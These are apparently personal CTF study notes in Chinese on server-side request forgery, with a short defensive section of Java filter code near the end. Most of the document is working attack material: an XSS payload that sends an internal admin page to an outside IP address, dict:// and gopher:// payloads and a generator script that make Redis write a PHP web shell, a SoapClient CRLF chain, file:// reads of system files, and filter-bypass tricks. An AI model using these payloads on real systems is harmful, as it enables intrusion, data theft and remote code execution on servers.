SSRF
介绍
简介:服务端请求伪造。往往是使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等,如果这个功能被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器
漏洞场景 - 黑盒
当服务器后端提供远程资源文件(如远程图片,网页等)功能时,若能够输入完整的URL且服务器端无有效性校验时,则有可能ssrf
加载远程资源文件(图片)功能:此功能用到的地方很多,大多数为对目标图片的处理和对目标网页的预览等公司上。一般类似该功能支持粘贴远程网址或者上传图片,则可以 利用粘贴图片网址功能进行SSRF攻击。这一类功能常见的有:通过URL地址分享网页内容; 通过URL加载或者下载图片;图片、文章收藏功能等。
漏洞场景 - 白盒
漏洞函数 - java
java中的SSRF不像PHP中那样灵活,利用起来相对的局限比较大。首先总结java中可以发出网络请求的类如下:
- HttpClient
apache HttpClient 组件
pubilc class TestAction extends ActionSupport{
pubkc String execute() throes Exception{
HttpServletRequest request = ServletActionContext.getRequest();
HttpServletResponse response = ServletActionContext.getResponse();
String url = request.getParameter("url");
if(url!=null&&url.length()!=0){
CloseableHttpClient httpclient = Httpclient.execute(httpGet);
try{
HttpGet httpGet = new HttpGet(url);
CloseableHttpResponse response1 = httpclient.execute(httpGet);
try{
HttpEntity entity1 = response1.getEntity();
byte[] buffer = new byte[40960];
entity1.getContent().read(buffer);
response.getWriter().write(new String(buffer));
} finally{
response1.close();
}
}finally{
httpclient.close();
}
return "success";
}
else
return "fail";
}
}
- Request (该类是对HttpClient的封装)
- HttpURLConnection
使用Java原生的HttpUrlConnection用来发送Http请求,如下图,请求的url来自用 户输入,则该处存在SSRF漏洞
...
HttpServletRequest request = ServletActionContext.getRequest();
String url = request.getParameter("url");
URL obj = new URL(url);
HttpUrlConnection con = (HttpURLConnection) onj.openConnection();
...
- URL
- OKhttp
java支持的网络协议可以通过以下方式获知:
- 遍历代码中的所有协议
- 查看官方文档
- import sun.net.www.protocol查看
从sun.net.www.protocol中可以看到,java支持的所有协议如下
File、ftp、mailto、http、https、jar、netdoc
而含有’http’字符串的类。只支持http/https协议,即HttpURLConnection、HttpClient、Request、okhttp;其他类,即:URLConnection和URL支持sun.net.www.protocol中的所有协议。
在java中,是不能使用gopher、dict或其他非上述协议的,即使用了30X跳转也不行。SSRF 在java中的利用相对受限:
- 利用file协议读文件
- 利用http/https协议探测端口,或向内网其他web应用发起攻击
高危函数 - php
file_get_contents
opensock
curl类函数
unserialize函数+调用不存在的方法
利用
file://协议获取本地信息
file://加绝对路径 或者 file://./xxx 相对路径
如果是类似txt的文件会直接回显到前端(如/etc/passwd 、/etc/host)
如果是php文件会以注释的形式返回到网页源代码中
读取文件-内网信息搜集
- file:///etc/hosts
获取内网地址
- /proc/net/arp
或者用(这个是与之通信的其他靶机的ip和mac)
file:///proc/net/arp
- /etc/network/interfaces
或者用
file:///etc/network/interfaces
用这些来查看内网网路情况
慢速dos
- 找到ssrf的位点,不断访问并造成cc攻击
操作:用burp爆破模组不断发包就可以简单实现
- 让服务器和客户端维持一个长连接(sleep)
比如说让服务器访问自己vps上的<?php sleep(20);?>
ssrf敏感信息外带
大概就是有些时候ssrf在对内网发起请求的时候,会带上一个内网通用的token(通常在headers里)
而这个token可能是内网通用的,可以用来访问其他内网服务
执行xml外带题目源码
当遇到直接ssrf本地访问某某页面的时候,由于页面需要加载各种js或者前端资源导致超时,可能会返回bad request
这时候由于只要Html的内容,请求html文件未果,使用xml读取
exploit?text=<script>var xmlhttp1=new XMLHttpRequest();
xmlhttp1.open("GET","http://localhost:5000/admin",false);
xmlhttp1.send();
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET","http://8.129.42.140:3307/"%2B btoa(xmlhttp1.responseText),true);
xmlhttp.send();</script>&color=%2324d600
先ssrf后外带xml,结果是base64的。python3 -m http.server 3307
ssrf攻击内部服务
比如:
请求个token打
打一些未授权服务(redis, Yarn, Solr),漏洞服务
redis
低版本直接请求头写命令
以sourclient为例 2022buu10月挑战赛EasyLove
<?php
$target='http://127.0.0.1:6379/';
$poc0="AUTH 20220311";
$poc="CONFIG SET dir /var/www/html";
$poc1="SET x '<?@eval(\$_POST[1]);?>'";
$poc2="CONFIG SET dbfilename cmd.php";
$poc3="SAVE";
$a = array('location' => $target,'uri' =>
'hello^^'.$poc0.'^^'.$poc.'^^'.$poc1.'^^'.$poc2.'^^'.$poc3.'^^hello');
$aaa = serialize($a);
$aaa = str_replace('^^',"\r\n",$aaa);
$c=unserialize($aaa);
class swpu{
public $wllm = 'SoapClient';
public $arsenetang = null;
public $l61q4cheng;
public $love;
}
$a=new swpu();
$a->l61q4cheng=$c;
echo urlencode(serialize($a));
?>
可见,其请求头确实有命令,所以真的离谱
dict攻击redis
dict://serverip:port/命令:参数
dict://127.0.0.1:6788/auth:123456
payload示例https://www.debugger.wiki/article/html/1609344001558983
?url=dict://LOcalhost:6379/config:set:dir:/var/www/html
?url=dict://LOcalhost:6379/config:set:dbfilename:webshell.php
?url=dict://LOcalhost:6379/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x20\x3f\x3e"save
?url=dict://LOcalhost:6379/save
?url=dict://LOcalhost:6379/quit
注意写马的那个payload要进行十六进制编码哦(payload是<?php phpinfo();?>
)
gopher攻击redis(写马)
能未授权或者能通过弱口令认证访问到Redis服务器
参考:
redis未授权和已授权访问(已复现)
使用gopher来打redis
未授权和已授权(就是无密码和有密码)的redis协议生成 脚本
D:\Pycharm\PyCharm 2021.2.2\pythonproject\test.py
使用该脚本时无密码就不要填那里的密码
脚本概览
################## ssrf redis 已授权或未授权 脚本 ######################
import urllib.parse
protocol = "gopher://"
ip = "2130706433"
port = "6379"
shell = "\n\n<?php system('cat /*')?>\n\n"
filename = "shell.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
cmd += CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
# print(payload)
print(urllib.parse.quote(payload))
如果是不用密码的,可以使用工具Gopherus-master
本地环境:
-
phpstudy: php的redis拓展
-
phpstudy下载的redis客户端和服务端
-
docker desktop 的镜像 ju5ton1y/redis
-
服务器上的 的镜像ju5ton1y/redis , 以及他的容器(宿主机1111端口)
漏洞:
-
未授权/已授权 写马/反弹shell/改公钥
-
主从rce
-
在没有出网的情况下,可以上传exp.so,rce
Bypass - 绕过ip限制
ip进制转换
普通ip
一些开发者会通过正则匹配的方式来过滤IP,如采用如下正则表达式:
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$ ^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
对于这种过滤我们可以采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址 我们可以改写成:
1)8进制格式:0300.0250.0.1
2)16进制格式:0xC0.0xA8.0.1
3)10进制整数格式:3232235521
4)16进制整数格式:0xC0A80001
地址转换工具:http://www.msxindl.com/tools/ip/ip_num.asp
本地回环
除了上面的进制转换
demo
http://127.0.0.1
http://2130706433
http://0x7F000001
还可以利用回环地址的特性:
1.
0.0.0.0
1.1
也可以直接0,如下
http://175.178.148.197/webs/index.php?url=0/webs/flag.php
还有一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1
2.
127.0.0.2
atao大哥教的,贼好用
url模式绕过
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。
http://www.baidu.com@192.168.0.1/
当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。
如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。
xip.io
(1)、在网络上存在一个很神奇的服务,http://xip.io 当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。
10.0.0.1.xip.io指向的域名:10.0.0.1
www.10.0.0.1.xip.io指向的域名:10.0.0.1
mysite.10.0.0.1.xip.io指向的域名:10.0.0.1
foo.bar.10.0.0.1.xip.io指向的域名:10.0.0.1
要是后端用'等于'来检验,就可以这样绕过
比如
String url = getparam("url");
URL url = new URL(url);
String host = url.getHost();
if(host equals "10.0.0.1"){
//不允许访问内网管理台接口
}
则完全可以提交www.10.0.0.1.xip.io绕过校验
使用域名短地址
申请短域名指向内网地址: http://192.168.31.1 -> http://suo.im/1QLXa2 访问 http://suo.im/1QLXa2 实际上就是请求 http://192.168.31.1。 备注:目前部分服务商已经停止提供 ip 地址的短地址生成,不过还是有很多家可以去生成。
ipv6绕过
某些 URL 解析器将[]
内的任何字符串视为 IPv6 主机,而无需进行其他验证。
https://evil.com\[good.com]
-> https://evil.com\[good.com]
-> https://evil.com\[good.com]
-> https://evil.com/[good.com]
而在浏览器侧最终到达地址是 https://evil.com/。
302 重定向
让浏览器访问一个页面,页面设计为302跳转到另一个
非HTTP协议
没复现过
添加端口可能绕过匹配正则
DNS Rebinding(DNS重绑定)
参考 https://zhuanlan.zhihu.com/p/73736127
//绕过
遇到如下apache配置,使用最后一个子目录//绕过
map /api/getflag http://backend/forbidden
防御
1、过滤返回的信息,如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2、统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。
3、限制请求的端口,比如80,443,8080,8090。
4、禁止不常用的协议,仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp://等引起的问题。
if(urlLink.contains("file") || urlLink.contains("gopher") || urlLink.contains("ftp"))|| urlLink.contains("netdoc")|| urlLink.contains("mailto")|| urlLink.contains("jar"){
return "无法访问";
}
if(urlLink.contains("127.0.0.1"))|| urlLink.contains("localhost") {
return "无法访问";
}
...
if(urlLink.contains("http://") || urlLink.contains("https://")){
...
业务
}
5、使用DNS缓存或者Host白名单的方式。
线下防御waf
白名单协议+禁止内网ip
URL exurl = new URL(urlLink);
String host = exurl.getHost();
String protocol = exurl.getProtocol();
// 协议只能是https或http
if(!(protocol.contains("https")||protocol.contains("http"))){
return "无法访问";
}
// 检查ip,不允许是内网ip
InetAddress[] addresses = InetAddress.getAllByName(host);
List<String> ips = new ArrayList<>();
for (int i = 0; i < addresses.length; i++) {
if(addresses[i] instanceof Inet4Address) {
if (ipIsInner(addresses[i].getHostAddress())) {
//System.out.println("Illegal address error");
throw new IllegalArgumentException();
} else {
ips.add(addresses[i].getHostAddress());
}
}
}
ipIsInner的实现在这
static List<Pattern> ipFilterRegexList = new ArrayList<>();
static {
Set<String> ipFilter = new HashSet<String>();
ipFilter.add("^10\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])"
+ "\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])" + "\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])$");
ipFilter.add("^172\\.(1[6789]|2[0-9]|3[01])\\" + ".(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])\\"
+ ".(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])$");
ipFilter.add("^192\\.168\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])\\"
+ ".(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])$");
//ipFilter.add("127.0.0.1");
ipFilter.add("^127\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])"
+ "\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])" + "\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])$");
ipFilter.add("0.0.0.0");
ipFilter.add("localhost");
for (String reg : ipFilter) {
ipFilterRegexList.add(Pattern.compile(reg));
}
}
public static boolean ipIsInner(String ip) {
System.out.println(ip);
for (Pattern reg : ipFilterRegexList) {
Matcher matcher = reg.matcher(ip);
if (matcher.find()) {
return true;
}
}
return false;
}
其实上面的ipIsInner没有禁用企业级网关ip段100.x.x.x,需要的话用专业级数据库
常用工具和操作
工具
curl
curl -v -X CTFHUB challenge-49d7e6a31e278c6b.sandbox.ctfhub.com
简单来说就是 返回http头部的信息,-X 自定义一种请求方式
在url处可使用伪协议
?url=file:///var/www/html/index.php
url的编码次数取决于你要请求的次数
Gopherus - https://github.com/tarunkant/Gopherus
协议
file:// #读文件
gopher:// #内网渗透常用
ghopher (看到下面的php函数)
file_get_contents
opensock
curl类函数
ghopher://127.0.0.1:70/_+TCP/IP
post脚本
D:\Pycharm\PyCharm 2021.2.2\pythonproject\main.py
扫地址
扫端口(一般有提示端口的范围)
基础知识
get post基础知识
构造一个get请求所需的内容
GET /ssrf/base/get.php?name=Margin HTTP/1.1
Host: 192.168.0.109
构造一个post请求所需的内容
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=8a6d748f4f820709cd9e444991d49dd0
注意Content-Length那里,必须和你的POST请求长度一样,不然结果就出不了。
gopher传post数据,脚本
简单原理及其使用看这个(46条消息) gopher协议利用_西部壮仔的博客-CSDN博客_gopherus使用
脚本
import urllib.parse
payload =\
"""
POST /index.php?a=1 HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For:127.0.0.1
referer:bolean.club
Content-Length: 3
b=1
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://172.73.23.100:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 因为是GET请求所以要进行两次url编码
这里是这样的
在跳板机上使用gopher协议,便是跳板机去发起请求。
gopher://目标机器ip(比如说是127.0.0.1:某端口/目标内网ip)_post数据
目标机器起一个对应的端口监听,就可以看到数据包了,,此时也是跳板机发起请求的(ssrf)